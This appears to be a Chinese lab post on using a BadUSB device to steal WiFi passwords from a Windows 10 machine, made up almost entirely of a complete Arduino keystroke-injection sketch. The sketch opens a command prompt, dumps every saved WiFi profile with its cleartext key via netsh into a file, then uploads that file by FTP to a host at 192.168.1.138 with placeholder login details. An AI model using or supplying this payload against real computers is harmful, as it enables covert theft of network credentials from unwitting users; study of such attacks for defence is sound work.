BadUSB获取WiFi密码

实验环境

  • 靶机:Windows10 Pro x64
  • FTP 服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("ftp 192.168.1.138"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("username"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("password"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

delay(500);
Keyboard.print(F("put d:/wifi.txt"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

delay(500);
Keyboard.print(F("bye"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("exit"));
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();
}
void loop()
{}